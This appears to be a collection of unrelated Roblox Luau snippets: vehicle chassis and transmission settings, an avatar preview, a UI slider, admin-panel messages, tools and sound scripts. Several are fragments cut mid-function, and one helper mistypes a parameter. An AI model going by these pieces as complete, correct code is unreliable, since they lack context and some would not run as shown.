local Players = game:GetService("Players") local MerchBooth = script:FindFirstAncestor("MerchBooth") local types = require(MerchBooth.types) local generateDescriptionWithItem = require(script.Parent.generateDescriptionWithItem) local idleAnimation = Instance.new("Animation") idleAnimation.Name = "IdleAnimation" idleAnimation.AnimationId = "rbxassetid://616136790" local function generateDummyWithItem(itemInfo: types.ItemInfo, player: Player?) local description = generateDescriptionWithItem(player, itemInfo.assetId, itemInfo.assetType) local previewAvatar = Players:CreateHumanoidModelFromDescription(description, Enum.HumanoidRigType.R15) -- Destroys scripts to silence a client-side warning for _, descendant in ipairs(previewAvatar:GetDescendants()) do if descendant:IsA("LuaSourceContainer") then descendant:Destroy() end end local humanoid = previewAvatar:FindFirstChildOfClass("Humanoid") humanoid.RootPart.CFrame = CFrame.new(0, 1e5, 0) humanoid.RootPart.Anchored = true -- Not parenting the character in workspace will cause animations and layered clothing to not render properly previewAvatar.Parent = workspace humanoid:LoadAnimation(idleAnimation):Play() return previewAvatar end return generateDummyWithItem
--local freeSpaceX,freeSpaceY,freeSpaceZ = 3,3,2.8
local freeSpace = Vector3.new(3, 2.8, 3) local box = script.Parent local contents = box.Contents local lidOffset = 3 function r(num) return math.random(-math.abs(num * 100), math.abs(num * 100)) / 100 end box.Base.Touched:connect(function(oldHit) local hit if oldHit:FindFirstChild("Dragging") then return end if (oldHit:FindFirstChild("Draggable") and oldHit:FindFirstChild("Pickup")) then hit = oldHit:Clone() oldHit:Destroy() elseif (oldHit.Parent and (oldHit.Parent:FindFirstChild("Draggable") and oldHit.Parent:FindFirstChild("Pickup"))) then hit = oldHit.Parent:Clone() oldHit.Parent:Destroy() else return end for _, child in next, hit:GetDescendants() do if child.Name == "Draggable" then child:Destroy() end end if hit:IsA("BasePart") then hit.Anchored = true hit.CanCollide = false local vary = freeSpace - hit.Size -- random x,y,z print(vary, "as variance") --hit.CFrame = box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z)) hit.CFrame = box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100) elseif hit:IsA("Model") then for _, v in next, hit:GetDescendants() do if v:IsA("BasePart") then v.Anchored = true v.CanCollide = false end end local modelSize = hit:GetExtentsSize() local vary = freeSpace - modelSize --hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame*CFrame.new(r(vary.X),1+math.random(0,vary.Y*100)/100,r(vary.Z))) hit:SetPrimaryPartCFrame(box.PrimaryPart.CFrame * CFrame.new(math.random(-100, 100) / 100, math.random(100, 200) / 100, math.random(-100, 100) / 100)) end -- end of if hit is a basepart or model hit.Parent = contents end)
--!strict --[=[ @function some @within Dictionary @param dictionary {[K]: V} -- The dictionary to check. @param predicate (value: V, key: K, dictionary: { [K]: V }) -> any -- The predicate to check against. @return boolean -- Whether or not the predicate returned true for any value. Checks whether or not the predicate returned true for any value in the dictionary. ```lua local dictionary = { hello = "world", cat = "meow", unicorn = "rainbow" } local hasMeow = Some(dictionary, function(value) return value == "meow" end) -- true local hasDog = Some(dictionary, function(_, key) return key == "dog" end) -- false ``` ]=]
local function some<K, V>(dictionary: { [K]: V }, predicate: (value: V, key: V, dictionary: { [K]: V }) -> any): boolean for key, value in pairs(dictionary) do if predicate(value, key, dictionary) then return true end end return false end return some
--[[Driver Handling]]
--Driver Sit car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then --Distribute Client Interface local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent) car.Body.MainPart.Anchored = false car.DriveSeat:SetNetworkOwner(p) local g=script.Parent["A-Chassis Interface"]:Clone() g.Parent=p.PlayerGui end end) --Driver Leave car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") then --Remove Flip Force if car.DriveSeat:FindFirstChild("Flip")~=nil then car.DriveSeat.Flip.MaxTorque = Vector3.new() end --Remove Wheel Force for i,v in pairs(car.Wheels:GetChildren()) do if v:FindFirstChild("#AV")~=nil then if v["#AV"]:IsA("BodyAngularVelocity") then if v["#AV"].AngularVelocity.Magnitude>0 then v["#AV"].AngularVelocity = Vector3.new() v["#AV"].MaxTorque = Vector3.new() end else if v["#AV"].AngularVelocity>0 then v["#AV"].AngularVelocity = 0 v["#AV"].MotorMaxTorque = 0 end end end end end wait(.2) if child.Name ~= "Rev" then car.Body.MainPart.Anchored = true end end)
--// All global vars will be wiped/replaced except script
return function(data) local gui = script.Parent.Parent--client.UI.Prepare(script.Parent.Parent) local frame = gui.Frame local frame2 = frame.Frame local msg = frame2.Message local ttl = frame2.Title local gIndex = data.gIndex local gTable = data.gTable local title = data.Title local message = data.Message local scroll = data.Scroll local tim = data.Time local gone = false if not data.Message or not data.Title then gTable:Destroy() end ttl.Text = title msg.Text = message ttl.TextTransparency = 1 msg.TextTransparency = 1 ttl.TextStrokeTransparency = 1 msg.TextStrokeTransparency = 1 frame.BackgroundTransparency = 1 local log = { Type = "Small Screen Message"; Title = title; Message = message; Icon = "rbxassetid://7501175708"; Time = os.date("%X"); Function = nil; } table.insert(client.Variables.CommunicationsHistory, log) service.Events.CommsPanel:Fire(log) local fadeSteps = 10 local blurSize = 10 local textFade = 0.1 local strokeFade = 0.5 local frameFade = 0.3 local blurStep = blurSize/fadeSteps local frameStep = frameFade/fadeSteps local textStep = 0.1 local strokeStep = 0.1 local function fadeIn() gTable:Ready() for i = 1,fadeSteps do if msg.TextTransparency>textFade then msg.TextTransparency = msg.TextTransparency-textStep ttl.TextTransparency = ttl.TextTransparency-textStep end if msg.TextStrokeTransparency>strokeFade then msg.TextStrokeTransparency = msg.TextStrokeTransparency-strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency-strokeStep end if frame.BackgroundTransparency>frameFade then frame.BackgroundTransparency = frame.BackgroundTransparency-frameStep frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end end local function fadeOut() if not gone then gone = true for i = 1,fadeSteps do if msg.TextTransparency<1 then msg.TextTransparency = msg.TextTransparency+textStep ttl.TextTransparency = ttl.TextTransparency+textStep end if msg.TextStrokeTransparency<1 then msg.TextStrokeTransparency = msg.TextStrokeTransparency+strokeStep ttl.TextStrokeTransparency = ttl.TextStrokeTransparency+strokeStep end if frame.BackgroundTransparency<1 then frame.BackgroundTransparency = frame.BackgroundTransparency+frameStep frame2.BackgroundTransparency = frame.BackgroundTransparency end service.Wait("Stepped") end service.UnWrap(gui):Destroy() end end gTable.CustomDestroy = function() fadeOut() end fadeIn() if not tim then local _,time = message:gsub(" ","") time = math.clamp(time/2,4,11)+1 wait(time) else wait(tim) end if not gone then fadeOut() end end
-- RightShoulder.MaxVelocity = 0.025 -- LeftShoulder.MaxVelocity = 0.025 -- RightShoulder.DesiredAngle = (math.pi / 2) -- LeftShoulder.DesiredAngle = -(math.pi / 2) -- RightHip.DesiredAngle = 1 -- LeftHip.DesiredAngle = -1
end function Move(Time) local LimbAmplitude local LimbFrequency local NeckAmplitude local NeckFrequency local NeckDesiredAngle if (Pose == "Jumping") then MoveJump() return elseif (Pose == "FreeFall") then MoveFreeFall() return elseif (Pose == "Seated") then MoveSit() return end local ClimbFudge = 0 if (Pose == "Running") then
--Rears--
for _,v in pairs({ }) do local open1=false for _,a in pairs(v.Parts:GetChildren()) do if a.Name=="Handle" then local CL = Instance.new("ClickDetector",a) CL.MaxActivationDistance = 8.5 CL.MouseClick:connect(function() open1 = not open1 if open1 then a.DoorOpen:Play() wait(0.2) a.Parent.Parent.sHinge1.W.DesiredAngle = 1.5 a.Parent.Parent.sHinge2.W.DesiredAngle = -3 a.Parent.Parent.sHinge3.W.DesiredAngle = -1.5 a.Parent.Parent.sHinge4.W.DesiredAngle = 3 else a.Parent.Parent.sHinge1.W.DesiredAngle = 0 a.Parent.Parent.sHinge2.W.DesiredAngle = 0 a.Parent.Parent.sHinge3.W.DesiredAngle = 0 a.Parent.Parent.sHinge4.W.DesiredAngle = 0 a.DoorClose:Play() wait(1.1) a.Parent.Parent.oHinge1.W.DesiredAngle = 0 a.Parent.Parent.oHinge2.W.DesiredAngle = 0 end end) end end end
-- print(#labelAs, #labelBs)
local start = tick() while wait() do local alpha = math.min((tick() - start)/speed, 1) for index,labelA in pairs(labelAs) do labelA.Position = UDim2.new(1*index + alpha, 0, 0, 0) end labelM.Position = UDim2.new(alpha, 0, 0, 0) for index,labelB in pairs(labelBs) do labelB.Position = UDim2.new(-1*index + alpha, 0, 0, 0) end if alpha >= 1 then break end end end end
--UpdateTime()
while true do UpdateTime() game.Lighting.TimeOfDay = hour.Value..":"..min.Value..":"..sec.Value script.Parent.Name = hour.Value.." : "..min.Value.." : "..sec.Value.. " Day " ..day.Value.. " Month " ..month.Value.. " Year " ..year.Value wait(1) end
--// Functions
function MakeFakeArms() Arms = Instance.new("Model") Arms.Name = "Arms" Arms.Parent = L_5_ local L_171_ = Instance.new("Humanoid") L_171_.MaxHealth = 0 L_171_.Health = 0 L_171_.Name = "" L_171_.Parent = Arms if L_3_:FindFirstChild("Shirt") then local L_176_ = L_3_:FindFirstChild("Shirt"):clone() L_176_.Parent = Arms end local L_172_ = L_3_:FindFirstChild("Right Arm"):clone() for L_177_forvar1, L_178_forvar2 in pairs(L_172_:GetChildren()) do if L_178_forvar2:IsA('Motor6D') then L_178_forvar2:Destroy() end end L_172_.Name = "Right Arm" L_172_.FormFactor = "Custom" L_172_.Size = Vector3.new(0.8, 2.5, 0.8) L_172_.Transparency = 0.0 local L_173_ = Instance.new("Motor6D") L_173_.Part0 = L_172_ L_173_.Part1 = L_3_:FindFirstChild("Right Arm") L_173_.C0 = CFrame.new() L_173_.C1 = CFrame.new() L_173_.Parent = L_172_ L_172_.Parent = Arms local L_174_ = L_3_:FindFirstChild("Left Arm"):clone() L_174_.Name = "Left Arm" L_174_.FormFactor = "Custom" L_174_.Size = Vector3.new(0.8, 2.5, 0.8) L_174_.Transparency = 0.0 local L_175_ = Instance.new("Motor6D") L_175_.Part0 = L_174_ L_175_.Part1 = L_3_:FindFirstChild("Left Arm") L_175_.C0 = CFrame.new() L_175_.C1 = CFrame.new() L_175_.Parent = L_174_ L_174_.Parent = Arms end function RemoveArmModel() if Arms then Arms:Destroy() Arms = nil end end local L_134_ function CreateShell() L_134_ = time() local L_179_ = L_1_.Shell:clone() if L_179_:FindFirstChild('Shell') then L_179_.Shell:Destroy() end L_179_.CFrame = L_1_.Chamber.CFrame L_179_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0) --shell.RotVelocity = Vector3.new(-10,40,30) L_179_.Parent = L_100_ L_179_.CanCollide = false game:GetService("Debris"):addItem(L_179_, 1) delay(0.5, function() if L_19_:FindFirstChild('ShellCasing') then local L_180_ = L_19_.ShellCasing:clone() L_180_.Parent = L_2_.PlayerGui L_180_:Play() game:GetService('Debris'):AddItem(L_180_, L_180_.TimeLength) end end) end
--[[ BaseOcclusion - Abstract base class for character occlusion control modules 2018 Camera Update - AllYourBlox --]]
--[[Initialize]]
script.Parent:WaitForChild("A-Chassis Interface") script.Parent:WaitForChild("Plugins") script.Parent:WaitForChild("README") local car=script.Parent.Parent local _Tune=require(script.Parent) wait(_Tune.LoadDelay) --Update Checker if _Tune.AutoUpdate then local newModel local s,m = pcall(function() newModel = game:GetService("InsertService"):LoadAsset(5181235975) end) if s then local MinorUpdate = false local MajorUpdate = false local localVersion = script.Parent["A-Chassis Interface"].Version local newVersion = newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version if localVersion.Value < newVersion.Value or localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then if localVersion.LastMajorUpdate.Value < newVersion.LastMajorUpdate.Value then MajorUpdate = true else MinorUpdate = true end end if MajorUpdate then print("[AC6C]: Chassis update!" .."\nA major update to A-Chassis 6C has been found." .."\nThe changes cannot be ported due to the update." .."\nYou are advised to update your chassis ASAP.") elseif MinorUpdate then localVersion.Value = newVersion.Value print("[AC6C]: Drive script update!" .."\nAn update to A-Chassis' Drive script has been found." .."\nThe updated script will take effect next time you get in." .."\nYou are advised to update your chassis soon.") script.Parent["A-Chassis Interface"].Drive:Destroy() newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Drive.Parent = script.Parent["A-Chassis Interface"] end newModel:Destroy() end end --Weight Scaling local weightScaling = _Tune.WeightScaling local Drive=car.Wheels:GetChildren() --Remove Existing Mass function DReduce(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") then if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end v.CustomPhysicalProperties = PhysicalProperties.new( 0, v.CustomPhysicalProperties.Friction, v.CustomPhysicalProperties.Elasticity, v.CustomPhysicalProperties.FrictionWeight, v.CustomPhysicalProperties.ElasticityWeight ) v.Massless = true --(LuaInt) but it's just this line end DReduce(v) end end DReduce(car)
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color) local brick = Instance.new("Part") brick.BrickColor = color brick.CFrame = cf * CFrame.new(pos + brick.Size / 2) script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick brick.BrickCleanup.Disabled = false brick.Parent = game.Workspace brick:MakeJoints() return brick, pos + brick.Size end function buildWall(cf) local color = BrickColor.Random() local bricks = {} assert(wallWidth>0) local y = 0 while y < wallHeight do local p local x = -wallWidth/2 while x < wallWidth/2 do local brick brick, p = placeBrick(cf, Vector3.new(x, y, 0), color) x = p.x table.insert(bricks, brick) wait(brickSpeed) end y = p.y end return bricks end function snap(v) if math.abs(v.x)>math.abs(v.z) then if v.x>0 then return Vector3.new(1,0,0) else return Vector3.new(-1,0,0) end else if v.z>0 then return Vector3.new(0,0,1) else return Vector3.new(0,0,-1) end end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character)) local lookAt = snap( (targetPos - character.Head.Position).unit ) local cf = CFrame.new(targetPos, targetPos + lookAt) Tool.Handle.BuildSound:Play() buildWall(cf) wait(5) Tool.Enabled = true end Tool.Activated:Connect(onActivated)
--[[ Set the current node's status to Failure and adds a message to its list of errors. ]]
function TestSession:setError(message) assert(#self.nodeStack > 0, "Attempting to set error status on empty stack") local last = self.nodeStack[#self.nodeStack] last.status = TestEnum.TestStatus.Failure table.insert(last.errors, message) end
--This is just some simple server script that moves the object around every frame --The kinematics module handles the rest
game["Run Service"].Heartbeat:Connect(function(deltaTime) part.Position = startPos + pos pos += vel * deltaTime if (pos.x > boxSize) then vel = Vector3.new( -math.abs(vel.x),0,vel.z) end if (pos.x < -boxSize) then vel = Vector3.new( math.abs(vel.x),0,vel.z) end if (pos.z > boxSize) then vel = Vector3.new(vel.x,0, -math.abs(vel.z)) end if (pos.z < -boxSize) then vel = Vector3.new(vel.x,0, math.abs(vel.z)) end end)
--Engine Sound stuff
local ShiftLength = 0.35 local OmegaSum = 0 local AvgOmega = 0 local Shifting = false local ShiftStart = 0 local Gear = 1 local ShiftUp = 1.5 local ShiftDown = 0.85 local OldGear = 1 local EngineSound = script.Parent.Engine EngineSound:Play() local function GearRatio(Num) return 0.014 / (0.2*Num+ 0.08) end while true do wait() AvgOmega = (OmegaSum/(#Wheels) + AvgOmega)/2 OmegaSum = 0 for i,v in pairs(Wheels) do local Wheel = v.Wheel --Raycast to find if the wheel is touching the ground local OffsetVector = -Base.CFrame.UpVector*Wheel.Size.Y/1.925 local Hit, Pos, Normal = Raycast.new(Wheel.Position, OffsetVector,script.Parent.Parent) --Touching if Hit then --Calculate velocity of bottom of wheel local Omega = -v.Wheel.CFrame:vectorToObjectSpace(Wheel.RotVelocity).X OmegaSum = OmegaSum + math.abs(Omega) local ContactVelocity = Wheel.Velocity + Omega * Wheel.Size.Y/2 * Wheel.CFrame.rightVector:Cross(Normal) local ObjSpaceVel = Wheel.CFrame:vectorToObjectSpace(ContactVelocity) local SlideSpeed = ContactVelocity.magnitude --Position Attachments v.AttCenter.Position = AttachmentPart.CFrame:PointToObjectSpace(Pos) local PerpVector = AttachmentPart.CFrame:VectorToObjectSpace( (Normal:Cross(Wheel.Velocity).unit )) local Offset = PerpVector*0.044*(math.clamp(SlideSpeed-27,0,80))^0.5 + Normal*0.175 v.AttL.Position = v.AttCenter.Position + Offset v.AttR.Position = v.AttCenter.Position - Offset v.Smoke.Rate = (math.max(0,SlideSpeed-27))^0.5 --Tyre Sound v.DriftSound.Pitch = ( math.clamp(4.1/(SlideSpeed^0.28),0.9,2.2) + v.DriftSound.Pitch*3)/4 v.DriftSound.Volume = ( math.clamp(0.009*SlideSpeed^1.2,0,2.5) + v.DriftSound.Volume*3)/4 --Engine Sounds EngineSound.Volume = 0.1 + 0.4 * math.max(Throttle.Value,0) local RawPitch = AvgOmega*GearRatio(Gear) if not Shifting then if RawPitch > ShiftUp then OldGear = Gear Gear = Gear + 1 Shifting = true ShiftStart = elapsedTime() elseif RawPitch < ShiftDown and Gear > 1 then OldGear = Gear Gear = Gear - 1 Shifting = true ShiftStart = elapsedTime() end else local pct = (elapsedTime() -ShiftStart)/ShiftLength RawPitch = AvgOmega*(pct*GearRatio(Gear) + (1-pct)*GearRatio(OldGear)) if pct>=1 then Shifting = false end end EngineSound.Pitch = math.max(RawPitch,.3) --Enable or disable tyre sounds and trails if SlideSpeed > 21 then v.Beam.Enabled = true v.Smoke.Enabled = true if not v.DriftSound.Playing then v.DriftSound:Play() end else v.Beam.Enabled = false v.Smoke.Enabled = false if v.DriftSound.Playing then v.DriftSound:Stop() end end else --Airborn v.Beam.Enabled = false v.Smoke.Enabled = false if v.DriftSound.Playing then v.DriftSound:Stop() end end end end
--[[ local slider, changed_event = Slider.new(Function changed_function nil, GuiObject Parent nil, Number min 0, Number max 1, Boolean round false) slider:Disconnect() -- disconnect all input events slider:Reconnect() -- reconnect all input events slider:Destroy() -- destroy the slider UI and Object. --]]
local UserInput = game:GetService("UserInputService") local Slider = {} Slider.__index = Slider Slider.Cloner = script:WaitForChild("Slider") local CONTROLLER_DEADZONE = .15 function Slider.new(changed_function, parent, map_min, map_max, round) local self = setmetatable({}, Slider) self.Value = 0; self.Connections = {} self.Destroy = {} self.Bar = Slider.Cloner:Clone() self.Bar.Parent = parent self.Slider = self.Bar.Slider self.Min = map_min or 0 self.Max = map_max or 1 self.Round = round == nil and false or round self.Label = self.Bar:FindFirstChild("Label") or self.Slider:FindFirstChild("Label") self.Changed = Instance.new("BindableEvent") table.insert(self.Destroy, self.Changed) table.insert(self.Destroy, self.Bar) if changed_function then table.insert(self.Connections, self.Changed.Event:Connect(function(new_val, old_val) changed_function(new_val, old_val) end)) end self:Reconnect() return self, self.Changed.Event end function Slider:Set(value, do_tween) value = math.clamp(value, self.Min, self.Max) self.Value = value local percent = (value - self.Min) / (self.Max - self.Min) self:Update(percent) if do_tween then self.Slider:TweenPosition(UDim2.new(percent,0,.5,0), "Out", "Linear", .5, true) else self.Slider.Position = UDim2.new(percent,0,.5,0) end end function Slider:Update(percent) local old_val = self.Value local new_val = self.Min + ((self.Max - self.Min) * percent) if self.Round then new_val = math.floor(new_val + .5) end self.Value = new_val if self.Label then self.Label.Text = tostring(new_val) end if self.Value ~= old_val then self.Changed:Fire(new_val, old_val) end end function Slider:Reconnect() local bar = self.Bar local slider = self.Slider local bar_size = bar.AbsoluteSize bar:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() bar_size = bar.AbsoluteSize end) local b_i_b = bar.InputBegan:Connect(function(io) if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then self.Listening = true end end) local s_i_b = slider.InputBegan:Connect(function(io) if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then self.Listening = true end end) local i_e = UserInput.InputEnded:Connect(function(io) if io.UserInputType == Enum.UserInputType.MouseButton1 or io.UserInputType == Enum.UserInputType.Touch then self.Listening = nil end end) local selection_g = slider.SelectionGained:Connect(function() self.Listening = true end) local selection_l = slider.SelectionLost:Connect(function() self.Listening = nil end) local mouse_movement = UserInput.InputChanged:Connect(function(io) if self.Listening == true then local percent if io.KeyCode == Enum.KeyCode.Thumbstick1 then local movement = io.Position.X if math.abs(movement) > CONTROLLER_DEADZONE then percent = slider.Position.X.Scale + (movement > 0 and .01 or -.01) end elseif io.UserInputType == Enum.UserInputType.MouseMovement or io.UserInputType == Enum.UserInputType.Touch then local bar_start, bar_end = bar.AbsolutePosition, bar.AbsolutePosition + bar_size local mouse_pos = io.Position local distance = bar_end.X - bar_start.X local difference_mouse = mouse_pos.X - bar_start.X percent = difference_mouse / (bar_size.X) end if percent then percent = math.clamp(percent, 0, 1) slider.Position = UDim2.new(percent,0,.5,0) self:Update(percent) end end end) table.insert(self.Connections, s_i_b) table.insert(self.Connections, b_i_b) table.insert(self.Connections, selection_g) table.insert(self.Connections, mouse_movement) table.insert(self.Connections, i_e) table.insert(self.Connections, selection_l) end function Slider:Disconnect() for i=1,#self.Connections do local c = self.Connections[i] c:Disconnect() end end function Slider:Destroy() for i=1,#self.Destroy do local d = self.Destroy[i] d:Destroy() end self.Destroy = {} self:Disconnect() self = nil end return Slider
--[[Transmission]]
Tune.Clutch = true -- Implements a realistic clutch, change to "false" for the chassis to act like AC6.81T. Tune.TransModes = {"Auto","Semi","Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] Tune.ClutchMode = "New" --[[ [Modes] "New" : Speed controls clutch engagement (AC6C V1.2) "Old" : Speed and RPM control clutch engagement (AC6C V1.1) ]] Tune.ClutchType = "Clutch" --[[ [Types] "Clutch" : Standard clutch, recommended "TorqueConverter" : Torque converter, keeps RPM up "CVT" : CVT, found in scooters ]] --[[Transmission]] --Transmission Settings Tune.Stall = true -- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false. Tune.ClutchRel = false -- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners. Tune.ClutchEngage = 85 -- How fast engagement is (0 = instant, 99 = super slow) Tune.SpeedEngage = 18 -- Speed the clutch fully engages at (Based on SPS) --Clutch: "Old" mode Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0 --Torque Converter: Tune.TQLock = false -- Torque converter starts locking at a certain RPM --Torque Converter and CVT: Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoShiftType = "DCT" --[[ [Types] "Rev" : Clutch engages fully once RPM reached (AC6C V1) "DCT" : Clutch engages after a set time has passed (AC6.81T) ]] Tune.AutoShiftVers = "Old" --[[ [Versions] "New" : Shift from Reverse, Neutral, and Drive (AC6.81T) "Old" : Auto shifts into R or D when stopped. (AC6.52S2) ]] Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) --Automatic: Revmatching Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100% --Automatic: DCT Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one. Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one. --Gear Ratios Tune.FinalDrive = 4 Tune.Ratios = { --[[Reverse]] 5 , --[[Neutral]] 0 , --[[ 1 ]] 3.9 , --[[ 2 ]] 2.52 , --[[ 3 ]] 1.85 , --[[ 4 ]] 1.38 , --[[ 5 ]] 1.05 , --[[ 6 ]] .87 , --[[ 7 ]] .69 , } Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--print("JeepScript: events connected.")
while true do -- Every 15 seconds, poll if jeep has turned upside down. If true, then flip back upright. if(upVectorPart.CFrame.lookVector.y <= 0.707) then print("Vehicle is flipped. Flipping right side up...") gyro.cframe = CFrame.new( Vector3.new(0,0,0), Vector3.new(0,1,0) ) gyro.maxTorque = Vector3.new(tiltForce, tiltForce, tiltForce) wait(2) gyro.maxTorque = Vector3.new(0,0,0) end wait(8) end
-- List of UI layouts
local Layouts = { EmptySelection = { 'SelectNote' }; Normal = { 'MaterialOption', 'TransparencyOption', 'ReflectanceOption' }; };
--Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB.
s = script.Parent.Parent.Parent.Sound.Sound s2 = script.Parent.Parent.Parent.Sound.Sound2 slowness = 0.006 script.Parent.Parent.Amp.Value = true while true do pitch = s.Pitch if s.Pitch <= (script.MaxPitch.Value+0.01) then s.Pitch = (s.Pitch + slowness) s2.Pitch = s.Pitch*(12/10) slowness = 0.045-(script.Parent.Parent.Parent.Sound.Sound.PlaybackSpeed*3.45/((script.MaxPitch.Value*25)+55)) else wait(210) end if s.Pitch <= 0 then s.Pitch = s.Pitch + slowness s2.Pitch = s.Pitch*(12/10) else end wait() end
--service.Players = service.Wrap(service.Players) --Folder = service.Wrap(Folder)
server.Folder = Folder server.Deps = Folder.Dependencies; server.CommandModules = Folder.Commands; server.Client = Folder.Parent.Client; server.Dependencies = Folder.Dependencies; server.PluginsFolder = Folder.Plugins; server.Service = service
-- Local Functions
local function OnActivation() if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Swimming then return end if CanFire then CanFire = false local rocket = table.remove(Buffer, 1) rocket.Rocket.Transparency = 0 Tool.FireRocket:FireServer(rocket) local toMouse = (Mouse.Hit.p - Handle.Position).unit local direction = toMouse * 5 rocket.PrimaryPart.CFrame = CFrame.new(Handle.Position, Handle.Position + direction) + direction rocket.PrimaryPart.Velocity = direction * 40 RocketManager:BindRocketEvents(rocket) wait(Configurations.ReloadTimeSeconds.Value) CanFire = true end end local function OnStorageAdded(child) table.insert(Buffer, child) end local function SetupJoints() if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then return -- TODO: Make tracking compatible with R15 end local torso = Player.Character:FindFirstChild("Torso") Neck = torso.Neck OldNeckC0 = Neck.C0 Shoulder = torso['Right Shoulder'] OldShoulderC0 = Shoulder.C0 end local function Frame(mousePosition) if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Swimming then return end local torso = Player.Character.HumanoidRootPart local head = Player.Character.Head local toMouse = (mousePosition - head.Position).unit local angle = math.acos(toMouse:Dot(Vector3.new(0,1,0))) local neckAngle = angle -- Limit how much the head can tilt down. Too far and the head looks unnatural if math.deg(neckAngle) > 110 then neckAngle = math.rad(110) end Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.pi - neckAngle,math.pi,0) -- Calculate horizontal rotation local arm = Player.Character['Right Arm'] local fromArmPos = torso.Position + torso.CFrame:vectorToWorldSpace(Vector3.new( torso.Size.X/2 + arm.Size.X/2, torso.Size.Y/2 - arm.Size.Z/2, 0)) local toMouseArm = ((mousePosition - fromArmPos) * Vector3.new(1,0,1)).unit local look = (torso.CFrame.lookVector * Vector3.new(1,0,1)).unit local lateralAngle = math.acos(toMouseArm:Dot(look)) -- Check for rogue math if tostring(lateralAngle) == "-1.#IND" then lateralAngle = 0 end -- Handle case where character is sitting down if Player.Character.Humanoid:GetState() == Enum.HumanoidStateType.Seated then local cross = torso.CFrame.lookVector:Cross(toMouseArm) if lateralAngle > math.pi/2 then lateralAngle = math.pi/2 end if cross.Y < 0 then lateralAngle = -lateralAngle end end -- Turn shoulder to point to mouse Shoulder.C0 = CFrame.new(1,0.5,0) * CFrame.Angles(math.pi/2 - angle,math.pi/2 + lateralAngle,0) -- If not sitting then aim torso laterally towards mouse if Player.Character.Humanoid:GetState() ~= Enum.HumanoidStateType.Seated then torso.CFrame = CFrame.new(torso.Position, torso.Position + (Vector3.new( mousePosition.X, torso.Position.Y, mousePosition.Z)-torso.Position).unit) end end local function MouseFrame() Frame(Mouse.Hit.p) end local function OnEquip() -- Setup joint variables SetupJoints() -- Replace mouse icon and store old OldMouseIcon = Mouse.Icon Mouse.Icon = 'rbxassetid://79658449' Mouse.TargetFilter = Player.Character if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then AutoRotate = Player.Character.Humanoid.AutoRotate Player.Character.Humanoid.AutoRotate = false RunService:BindToRenderStep('RotateCharacter', Enum.RenderPriority.Input.Value, MouseFrame) end end local function OnUnequip() Mouse.Icon = OldMouseIcon if Player.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then Neck.C0 = OldNeckC0 Shoulder.C0 = OldShoulderC0 Player.Character.Humanoid.AutoRotate = AutoRotate RunService:UnbindFromRenderStep('RotateCharacter') end end
--- Counts the number of items in `_table`. -- Useful since `__len` on table in Lua 5.2 returns just the array length. -- @tparam table _table Table to count -- @treturn number count
function Table.count(_table) local count = 0 for _, _ in pairs(_table) do count = count + 1 end return count end
--F.updateSound = function(Sound, Pitch, Volume) -- if Sound then -- if Pitch then -- Sound.Pitch = Pitch -- end -- if Volume then -- Sound.Volume = Volume -- end -- end --end
